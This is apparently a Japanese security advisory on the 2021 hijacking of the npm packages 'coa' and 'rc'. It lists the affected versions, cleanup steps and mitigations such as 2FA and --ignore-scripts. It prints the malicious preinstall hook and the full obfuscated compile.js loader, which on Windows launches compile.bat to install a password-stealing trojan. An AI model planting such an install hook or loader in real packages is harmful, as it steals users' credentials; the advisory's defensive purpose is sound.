npm の人気パッケージ 「coa」と「rc」にマルウェアが埋め込まれた
2021/11/5 npm パッケージ 「coa」と「rc」がハイジャックされ、パスワードを盗むマルウェアが埋め込まれました。現在の時点では問題のあったバージョンはすべて取り除かれています。
- coa はコマンドライン引数のパーサーで、週に 880 万ダウンロードされています。有名なライブラリですと React がや @vue/cli-service がこのパッケージに依存しています。
- rc は設定のローダーで、週に 130 万ダウンロードされています。
影響を受けたバージョン
coa
- 2.0.3
- 2.0.4
- 2.1.1
- 2.1.3
- 3.0.1
- 3.1.3
rc
- 1.2.9
- 1.3.9
- 2.3.9
なにをすべきですか?
npm を利用しているレポジトリにおいて「coa」または「rc」の上記に該当するバージョンが存在するか package.lock.json
または yarn.lock
ファイルを確認します。
もしこれらのバージョンが含まれていた場合あなたのマシンに以下のファイルが含まれていないかどうか確認し、削除する必要があります。またあなたのパスワードの情報はすでに盗まれている可能性があるので速やかに変更をすべきです。
- compile.js
- compile.bat
- sdd.dll
マルウェアの内容
埋め込まれたマルウェアは「coa」と「rc」どちらも同じ内容で、どちらも preinstall
を利用した攻撃となっています。
preinstall
は npm-script
に定義できる Life Cycle Scripts と呼ばれる特殊なスクリプトであり npm install
が実行される直前に実行されます。
"preinstall": "start /B node compile.js & node compile.js"
影響を受けたバージョンには compile.js
と compile.bat
という名前のファイルが含まれており npm install
を実行することで compile.js
が実行されてしまいます。
- compile.js
const _0x29286e=_0x3b9e;(function(_0x595213,_0x1c7f12){const _0x524030=_0x3b9e,_0x10bbc4=_0x595213();while(!![]){try{const _0x5ab451=parseInt(_0x524030(0xef))/0x1*(-parseInt(_0x524030(0xfa))/0x2)+parseInt(_0x524030(0xf7))/0x3+-parseInt(_0x524030(0xf6))/0x4*(parseInt(_0x524030(0xf5))/0x5)+-parseInt(_0x524030(0xf2))/0x6*(-parseInt(_0x524030(0xed))/0x7)+-parseInt(_0x524030(0xf8))/0x8*(parseInt(_0x524030(0xe9))/0x9)+parseInt(_0x524030(0xeb))/0xa+parseInt(_0x524030(0xf3))/0xb*(parseInt(_0x524030(0xf4))/0xc);if(_0x5ab451===_0x1c7f12)break;else _0x10bbc4['push'](_0x10bbc4['shift']());}catch(_0x3b1efb){_0x10bbc4['push'](_0x10bbc4['shift']());}}}(_0x4f67,0x3d733));const {exec}=require('child_process');function _0x4f67(){const _0x5d7817=['28bejTPQ','1355673ZDaxId','779896MgsJdu','child_process','26358GzOkXk','MacOS','platform','cmd.exe','win64','27EVEPMY','win32','768760SJubeg','Linux','111587KPhwpG','compile.bat','11xGbwXc','linux','darwin','36HiOlse','11PTXHjR','3696096qOooYF','173780mPHnxy'];_0x4f67=function(){return _0x5d7817;};return _0x4f67();}var opsys=process[_0x29286e(0xfc)];function _0x3b9e(_0x21f5ee,_0x411966){const _0x4f6708=_0x4f67();return _0x3b9e=function(_0x3b9ecb,_0x3ac81f){_0x3b9ecb=_0x3b9ecb-0xe9;let _0x5a6794=_0x4f6708[_0x3b9ecb];return _0x5a6794;},_0x3b9e(_0x21f5ee,_0x411966);}if(opsys==_0x29286e(0xf1))opsys=_0x29286e(0xfb);else{if(opsys==_0x29286e(0xea)||opsys==_0x29286e(0xfe)){opsys='Windows';const {spawn}=require(_0x29286e(0xf9)),bat=spawn(_0x29286e(0xfd),['/c',_0x29286e(0xee)]);}else opsys==_0x29286e(0xf0)&&(opsys=_0x29286e(0xec));}
compile.js
が実行されることで compile.bat
というバッチファイルが実行されます。このバッチが実行されると sdd.dll
がインストールされ起動されます。このマルウェアは、Windows 用のパスワード盗用トロイの木馬である Danabot である可能性が高いです。
Danabot が読み込まれると、以下のようなさまざまな悪意ある活動を行います。
- Chrome、Firefox、Opera、Internet Explorer、Safari などのさまざまなウェブブラウザからパスワードを盗む。
- VNC、FTP クライアント、メールアカウントなど、さまざまなアプリケーションからパスワードを盗む。 保存されているクレジットカードを盗む。
- アクティブな画面のスクリーンショットを撮る。
- キーストロークを記録する。
npm のセキュリティに対する対策
2FA の有効化
マルウェアが埋め込まれた現在として npm のパッケージを公開する権限がある人のアカウントが乗っ取られたことが要因として上げられています。npm としては同様の攻撃を防ぐため2FAを有効にすることが強く推奨されています。
pre-install を無効化する
マルウェアの実行の多くは pre-install
スクリプトによって行われています。パッケージをインストールする際に --ignore-scripts
オプションを付与することでスクリプトの実行をオプトアウトできます。
npm install --ignore-scripts
yarn add --ignore-scripts